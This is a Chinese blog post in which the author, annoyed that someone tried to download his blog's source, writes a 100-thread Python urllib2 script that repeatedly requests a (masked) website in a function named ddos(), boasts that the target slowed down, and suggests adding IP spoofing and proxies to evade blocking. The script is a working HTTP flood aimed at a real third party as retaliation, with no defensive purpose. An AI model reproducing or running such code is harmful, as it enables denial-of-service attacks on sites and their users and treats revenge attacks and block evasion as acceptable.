当前位置:博客首页>>Python >> 阅读正文

python多线程与urllib2一例

作者: 郑晓 分类: Python 发布于: 2014-10-23 08:01 浏览:5,581 没有评论


发现有人居然在试探下载我博客的源码包,查了那家伙的IP,发现有一个网站,所以简单写了个python脚本,利用python的threading与urllib2库进行疯狂请求,不知道这算不算是攻击的一种,反正在运行时它的站倒是挻慢的。。哈哈。。。


#coding: gbk
import urllib2
import os
import threading
import time
def ddos():
while True:
#我还是把人家地址给匿了吧。。。
req = urllib2.urlopen('http://www.xxxxxx.com/search/?type=0&keywords=%E7%A8%8B%E5%BA%8F')

print '当前攻击线程数:'+str(threading.activeCount()) + ' 返回状态码:'+str(req.code)+' ' + time.ctime()

threads=[]
for i in xrange(100):
t=threading.Thread(target=ddos,args=())
threads.append(t)
for i in xrange(100):
threads[i].start()
for i in xrange(100):
threads[i].join()

接下来还可以加入IP伪造、IP代理来防止他屏蔽IP。

       

本文采用知识共享署名-非商业性使用 3.0 中国大陆许可协议进行许可,转载时请注明出处及相应链接。

本文永久链接: https://www.zh30.com/python-threading-urllib2.html

发表评论

change vcode